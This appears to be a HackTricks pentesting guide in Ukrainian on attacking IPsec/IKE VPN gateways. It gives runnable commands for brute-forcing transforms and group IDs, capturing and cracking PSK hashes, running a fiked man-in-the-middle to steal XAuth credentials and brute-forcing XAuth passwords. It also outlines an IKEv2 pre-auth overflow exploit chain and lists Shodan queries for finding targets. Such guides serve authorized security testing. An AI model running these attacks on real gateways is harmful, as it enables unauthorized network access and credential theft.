500/udp - Pentesting IPsec/IKE VPN
Tip
Вивчайте та практикуйте AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.
Основна інформація
IPsec широко визнаний як основна технологія для захисту зв’язку між мережами (LAN-to-LAN) та від віддалених користувачів до шлюзу мережі (remote access), слугуючи основою для корпоративних VPN-рішень.
Встановлення security association (SA) між двома точками керується IKE, який працює в рамках ISAKMP — протоколу, призначеного для аутентифікації та обміну ключами. Цей процес відбувається у кілька фаз:
- Phase 1: Між двома кінцевими точками встановлюється захищений канал. Це досягається за допомогою Pre-Shared Key (PSK) або сертифікатів, застосовуючи або main mode, який включає три пари повідомлень, або aggressive mode.
- Phase 1.5: Хоча не обов’язкова, ця фаза, відома як Extended Authentication Phase, перевіряє ідентичність користувача, що намагається підключитися, вимагаючи ім’я користувача та пароль.
- Phase 2: Ця фаза присвячена погодженню параметрів для захисту даних за допомогою ESP та AH. Вона дозволяє використовувати алгоритми, відмінні від тих у Phase 1, щоб забезпечити Perfect Forward Secrecy (PFS) та підвищити безпеку.
Порт за замовчуванням: 500/udp
Також часто відкритий: 4500/udp (NAT Traversal)
Виявлення сервісу за допомогою nmap
root@bt:~# nmap -sU -p 500 172.16.21.200
Starting Nmap 5.51 (http://nmap.org) at 2011-11-26 10:56 IST
Nmap scan report for 172.16.21.200
Host is up (0.00036s latency).
PORT STATE SERVICE
500/udp open isakmp
MAC Address: 00:1B:D5:54:4D:E4 (Cisco Systems)
Пошук дійсної трансформації
Конфігурація IPSec може бути налаштована так, щоб приймати лише одну або кілька трансформацій. Трансформація — це поєднання значень. Кожна трансформація містить низку атрибутів, таких як DES або 3DES як алгоритм шифрування, SHA або MD5 як алгоритм цілісності, pre-shared key як тип автентифікації, Diffie-Hellman 1 або 2 як ключовий алгоритм розподілу та 28800 секунд як час життя.
Отже, перше, що потрібно зробити — це знайти дійсну трансформацію, щоб сервер з вами заговорив. Для цього можна використати інструмент ike-scan. За замовчуванням Ike-scan працює в main mode і надсилає пакет до шлюзу з ISAKMP header та однією пропозицією, що містить вісім трансформацій всередині.
Залежно від відповіді ви можете отримати деяку інформацію про кінцеву точку:
root@bt:~# ike-scan -M 172.16.21.200
Starting ike-scan 1.9 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
172.16.21.200 Main Mode Handshake returned
HDR=(CKY-R=d90bf054d6b76401)
SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800)
VID=4048b7d56ebce88525e7de7f00d6c2d3c0000000 (IKE Fragmentation)
Ending ike-scan 1.9: 1 hosts scanned in 0.015 seconds (65.58 hosts/sec). 1 returned handshake; 0 returned notify
Як видно з попередньої відповіді, є поле під назвою AUTH зі значенням PSK. Це означає, що vpn налаштовано з використанням preshared key (і це дуже добре для pentester).
Значення останнього рядка також дуже важливе:
- 0 returned handshake; 0 returned notify: Це означає, що ціль не є IPsec gateway.
- 1 returned handshake; 0 returned notify: Це означає, що ціль налаштована для IPsec і готова виконувати IKE negotiation, і один або більше з трансформів, які ви запропонували, є прийнятними (коректний transform буде показано у виводі).
- 0 returned handshake; 1 returned notify: VPN gateways відповідають повідомленням типу notify, коли жоден із трансформів не є прийнятним (хоча деякі шлюзи цього не роблять, у такому випадку слід виконати додатковий аналіз і спробувати змінений proposal).
Отже, в цьому випадку ми вже маємо дійсну трансформацію, але якщо ви в 3-му випадку, тоді потрібно трохи brute-force, щоб знайти дійсну трансформацію:
По-перше, вам потрібно створити всі можливі трансформації:
for ENC in 1 2 3 4 5 6 7/128 7/192 7/256 8; do for HASH in 1 2 3 4 5 6; do for AUTH in 1 2 3 4 5 6 7 8 64221 64222 64223 64224 65001 65002 65003 65004 65005 65006 65007 65008 65009 65010; do for GROUP in 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18; do echo "--trans=$ENC,$HASH,$AUTH,$GROUP" >> ike-dict.txt ;done ;done ;done ;done
А потім brute-force кожен з них за допомогою ike-scan (це може зайняти декілька хвилин):
while read line; do (echo "Valid trans found: $line" && sudo ike-scan -M $line <IP>) | grep -B14 "1 returned handshake" | grep "Valid trans found" ; done < ike-dict.txt
Якщо brute-force не спрацював, можливо сервер відповідає без handshakes навіть на valid transforms. Тоді можна спробувати той самий brute-force, але використовуючи aggressive mode:
while read line; do (echo "Valid trans found: $line" && ike-scan -M --aggressive -P handshake.txt $line <IP>) | grep -B7 "SA=" | grep "Valid trans found" ; done < ike-dict.txt
Сподіваюся, валідна трансформація буде повернута.
Ви можете спробувати the same attack за допомогою iker.py.
Ви також можете спробувати brute force трансформації за допомогою ikeforce:
./ikeforce.py <IP> # No parameters are required for scan -h for additional help
.png)
In DH Group: 14 = 2048-bit MODP and 15 = 3072-bit
2 = HMAC-SHA = SHA1 (in this case). The --trans format is $Enc,$Hash,$Auth,$DH
Cisco рекомендує уникати використання DH groups 1 і 2, оскільки вони недостатньо сильні. Експерти вважають, що країни з великими ресурсами можуть легко зламати шифрування даних, що використовують ці слабкі групи. Для цього застосовується спеціальний метод підготовки, який дозволяє їм швидко ламати коди. Хоча налаштування цього методу коштує дорого, воно дає можливість таким потужним країнам у режимі реального часу читати зашифровані дані, якщо використовується група недостатньої міцності (наприклад, 1,024-bit або менша).
Server fingerprinting
Потім можна використати ike-scan, щоб спробувати виявити постачальника пристрою. Інструмент відправляє початкову пропозицію і припиняє повторну відправку. Далі він аналізує різницю в часі між отриманими повідомленнями від сервера та відповідним шаблоном відповіді — завдяки цьому pentester може успішно fingerprint VPN gateway vendor. Більше того, деякі VPN сервери використовують опціональний Vendor ID (VID) payload з IKE.
Specify the valid transformation if needed (using –trans)
Якщо IKE визначить, який постачальник, воно його виведе:
root@bt:~# ike-scan -M --showbackoff 172.16.21.200
Starting ike-scan 1.9 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
172.16.21.200 Main Mode Handshake returned
HDR=(CKY-R=4f3ec84731e2214a)
SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800)
VID=4048b7d56ebce88525e7de7f00d6c2d3c0000000 (IKE Fragmentation)
IKE Backoff Patterns:
IP Address No. Recv time Delta Time
172.16.21.200 1 1322286031.744904 0.000000
172.16.21.200 2 1322286039.745081 8.000177
172.16.21.200 3 1322286047.745989 8.000908
172.16.21.200 4 1322286055.746972 8.000983
172.16.21.200 Implementation guess: Cisco VPN Concentrator
Ending ike-scan 1.9: 1 hosts scanned in 84.080 seconds (0.01 hosts/sec). 1 returned handshake; 0 returned notify
Це також можна досягти за допомогою nmap script ike-version
IKEv2-specific: WatchGuard Vendor ID version fingerprinting
Деякі IKEv2 демони включають нестандартні Vendor ID payloads у відповіді IKE_SA_INIT. WatchGuard Fireware OS кодує версію/збірку пристрою прямо всередині VID, що дозволяє single-packet, pre-auth fingerprinting.
- Транспорт: UDP/500 (і UDP/4500 для NAT-T)
- Пакет: відповідь IKE_SA_INIT містить один або більше Vendor ID payloads
- Формат WatchGuard: 32-byte hash, за яким йде base64, який декодується, напр.
VN=12.11.3 BN=719894
Приклад raw bytes з WatchGuard VID payload (останні 12 байтів — base64):
00000000: bfc2 2e98 56ba 9936 11c1 1e48 a6d2 0807 ....V..6...H....
00000010: a95b edb3 9302 6a49 e60f ac32 7bb9 601b .[....jI...2{.`.
00000020: 566b 3439 4d54 4975 4d54 4575 4d79 4243 Vk49MTIuMTEuMyBC
00000030: 546a 3033 4d54 6b34 4f54 513d Tj03MTk4OTQ=
Швидке витягування в shell, коли у вас є base64 tail:
echo 'Vk49MTIuMTEuMyBCTj03MTk4OTQ=' | base64 -d
# VN=12.11.3 BN=719894
Notes
- Це не є частиною жодного IKEv2 RFC. Розглядайте це як поведінкову особливість вендора для швидкого визначення відкритих/вразливих версій Fireware OS.
- Вам потрібно лише викликати відповідь IKE_SA_INIT; автентифікація не потрібна.
Знаходження правильного ID (group name)
Щоб мати змогу захопити hash, вам потрібна валідна трансформація, що підтримує Aggressive mode, і правильний ID (group name). Ймовірно, ви не будете знати валідну назву групи, тож доведеться brute-force її.
Для цього я рекомендую вам 2 методи:
Bruteforcing ID with ike-scan
По-перше, спробуйте надіслати запит з фейковим ID, намагаючись зібрати hash (“-P”):
ike-scan -P -M -A -n fakeID <IP>
Якщо жодного хешу не повертається, то, ймовірно, цей метод brute forcing спрацює. Якщо якийсь хеш повертається, це означає, що для фейкового ID буде відправлено підробний хеш, тож цей метод не буде надійним для brute-force ID. Наприклад, може повернутися підробний хеш (це трапляється в сучасних версіях):
.png)
Але, як я вже сказав, якщо жодного хешу не повертається, слід спробувати brute-force загальновживані імена груп за допомогою ike-scan.
Цей скрипт спробує brute-force можливі ID і поверне ті ID, для яких повертається дійсний handshake (це буде дійсна назва групи).
Якщо ви виявили конкретну трансформацію, додайте її в команду ike-scan. А якщо ви виявили кілька трансформацій, сміливо додайте новий цикл, щоб спробувати їх усі (вам слід спробувати всі, поки одна з них не спрацює правильно).
Ви можете використати dictionary of ikeforce або the one in seclists зі списком загальноприйнятих імен груп для їх brute-force:
while read line; do (echo "Found ID: $line" && sudo ike-scan -M -A -n $line <IP>) | grep -B14 "1 returned handshake" | grep "Found ID:"; done < /usr/share/wordlists/external/SecLists/Miscellaneous/ike-groupid.txt
Або використайте цей словник (це комбінація інших двох словників без повторів):
Bruteforcing ID with Iker
iker.py також використовує ike-scan для bruteforce можливих імен груп. Він використовує власний метод, щоб знайти дійсний ID на основі виходу ike-scan.
Bruteforcing ID with ikeforce
ikeforce.py — це інструмент, який також може використовуватися для brute force ID. Цей інструмент буде намагатися експлуатувати різні вразливості, які можуть бути використані для відрізнення дійсного та недійсного ID (можуть бути false positives та false negatives, саме тому я, за можливості, віддаю перевагу методу ike-scan).
За замовчуванням ikeforce на початку відправляє кілька випадкових ids, щоб перевірити поведінку сервера і визначити тактику для використання.
- Перший метод полягає в brute-force імен груп шляхом пошуку інформації про Dead Peer Detection DPD у систем Cisco (ця інформація надсилається сервером лише якщо ім’я групи правильне).
- Другий метод — це перевірка кількості відповідей, надісланих на кожну спробу, оскільки іноді надсилається більше пакетів, коли використовується правильний id.
- Третій метод полягає в пошуку “INVALID-ID-INFORMATION” у відповіді на некоректний ID.
- Нарешті, якщо сервер нічого не відповідає на перевірки, ikeforce спробує brute force сервер і перевірить, чи при надсиланні правильного id сервер відповідає якимось пакетом.
Очевидно, мета brute forcing id — отримати PSK, коли у вас є дійсний id. Потім, маючи id та PSK, вам доведеться bruteforce XAUTH (якщо він увімкнений).
Якщо ви виявили конкретне перетворення — додайте його в команду ikeforce. Якщо ви виявили кілька перетворень, не соромтеся додати новий цикл, щоб спробувати їх усі (варто пробувати всі, поки одне з них не запрацює належним чином).
git clone https://github.com/SpiderLabs/ikeforce.git
pip install 'pyopenssl==17.2.0' #It is old and need this version of the library
./ikeforce.py <IP> -e -w ./wordlists/groupnames.dic
Sniffing ID
(From the book Network Security Assessment: Know Your Network): Також можливо отримати дійсні імена користувачів шляхом sniffing з’єднання між VPN клієнтом та сервером, оскільки перший пакет aggressive mode, що містить client ID, відправляється у відкритому вигляді
.png)
Capturing & cracking the hash
Нарешті, якщо ви знайшли valid transformation та group name, і якщо aggressive mode дозволено, то ви дуже легко можете отримати crackable hash:
ike-scan -M -A -n <ID> --pskcrack=hash.txt <IP> #If aggressive mode is supported and you know the id, you can get the hash of the passwor
Хеш буде збережено у файлі hash.txt.
Ви можете використовувати psk-crack, john (з використанням ikescan2john.py) та hashcat щоб crack хеш:
psk-crack -d <Wordlist_path> psk.txt
XAuth
Aggressive mode IKE у поєднанні з Pre-Shared Key (PSK) часто використовується для цілей групової автентифікації. Цей метод доповнюється XAuth (Extended Authentication), який додає додатковий рівень автентифікації користувача. Зазвичай така автентифікація використовує сервіси на кшталт Microsoft Active Directory, RADIUS або подібні системи.
Переходячи на IKEv2, спостерігається помітна зміна: для автентифікації користувачів замість XAuth використовується EAP (Extensible Authentication Protocol). Ця зміна підкреслює еволюцію підходів до автентифікації в межах протоколів захищеного зв’язку.
Локальна мережа MitM для перехоплення облікових даних
Отже, ви можете перехопити дані входу, використовуючи fiked і перевірити, чи є якийсь стандартний логін (Потрібно перенаправити IKE трафік на fiked для sniffing, що можна зробити з допомогою ARP spoofing, more info). Fiked буде виступати як VPN-кінець і перехопить облікові дані XAuth:
fiked -g <IP> -k testgroup:secretkey -l output.txt -d
Також, використовуючи IPSec, спробуйте виконати MitM-атаку і заблокувати весь трафік до port 500; якщо IPSec тунель не може бути встановлений, можливо трафік буде відправлений у відкритому вигляді.
Brute-forcing XAUTH username ad password with ikeforce
Щоб brute force XAUTH (коли ви знаєте валідне ім’я групи id та psk), ви можете використовувати один username або список usernames та список passwords:
./ikeforce.py <IP> -b -i <group_id> -u <username> -k <PSK> -w <passwords.txt> [-s 1]
Таким чином ikeforce буде намагатися підключитися, використовуючи кожну комбінацію username:password.
Якщо ви знайшли один або декілька дійсних трансформів, просто використайте їх так само, як у попередніх кроках.
Аутентифікація з IPSEC VPN
У Kali VPNC використовується для встановлення IPsec тунелів. Профілі повинні знаходитися в директорії /etc/vpnc/. Ви можете запустити ці профілі командою vpnc.
Наступні команди та конфігурації ілюструють процес налаштування VPN-з’єднання з VPNC:
root@system:~# cat > /etc/vpnc/samplevpn.conf << STOP
IPSec gateway [VPN_GATEWAY_IP]
IPSec ID [VPN_CONNECTION_ID]
IPSec secret [VPN_GROUP_SECRET]
IKE Authmode psk
Xauth username [VPN_USERNAME]
Xauth password [VPN_PASSWORD]
STOP
root@system:~# vpnc samplevpn
VPNC started in background (pid: [PID])...
root@system:~# ifconfig tun0
У цій конфігурації:
- Замініть
[VPN_GATEWAY_IP]на фактичну IP-адресу VPN-шлюзу. - Замініть
[VPN_CONNECTION_ID]на ідентифікатор VPN-з’єднання. - Замініть
[VPN_GROUP_SECRET]на груповий секрет VPN. - Замініть
[VPN_USERNAME]і[VPN_PASSWORD]на облікові дані для автентифікації в VPN. [PID]означає ідентифікатор процесу, який буде присвоєно при запускуvpnc.
Переконайтесь, що при налаштуванні VPN плейсхолдери замінені реальними та безпечними значеннями.
IKEv2 Нотатки щодо експлуатації: помилки обробки pre-auth IDi/CERT
Сучасні VPN-пристрої часто виставляють IKEv2 на UDP/500 (і на UDP/4500 для NAT-T). Звичною поверхнею атаки до аутентифікації є парсинг Identification (IDi) та Certificate payloads під час IKE_SA_AUTH.
Загальний алгоритм експлуатації, коли існує вразливий парсер IKEv2:
- Надіслати коректний IKE_SA_INIT для узгодження трансформів та завершення Diffie–Hellman.
- Далі надіслати IKE_SA_AUTH з IDi, який тригерить баг (наприклад, занадто великий Identification, скопійований у буфер фіксованого розміру на стеку до валідації сертифікатів).
- Утворена корупція пам’яті може дати контроль над збереженими регістрами та адресою повернення.
- Якщо NX увімкнено, але відсутні інші міри захисту (немає PIE/canaries), побудувати ROP-ланцюг для виклику mprotect на сторінці стеку, а потім переключити виконання на інжектований shellcode або на резидентний інтерпретатор (наприклад, /usr/bin/python3), якщо /bin/sh недоступний.
Приклад стандартних трансформів, помічених на деяких IKEv2-пристроях (WatchGuard Fireware OS 12.11.3):
- SHA2-256–AES(256-bit) with DH Group 14
- SHA1–AES(256-bit) with DH Group 5
- SHA1–AES(256-bit) with DH Group 2
- SHA1–3DES with DH Group 2
Практичні поради
- Таргетуйте обидва UDP/500 і UDP/4500; NAT-T сервери можуть відповідати лише на 4500.
- Збільшіть розмір буфера прийому та таймаути для UDP-сканерів, щоб уникнути втрати пакетів.
- Якщо сервіс повертає кастомні Vendor IDs (див. розділ вище), використовуйте їх для швидкої ідентифікації версій, що можуть бути вразливими, перед відправкою експлойт-трафіку.
Reference Material
- PSK cracking paper
- SecurityFocus Infocus
- Scanning a VPN Implementation
- Network Security Assessment 3rd Edition
Shodan
port:500 IKEport:4500 "UDP"udp port:500,4500 "WatchGuard"
References
Tip
Вивчайте та практикуйте AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.
HackTricks

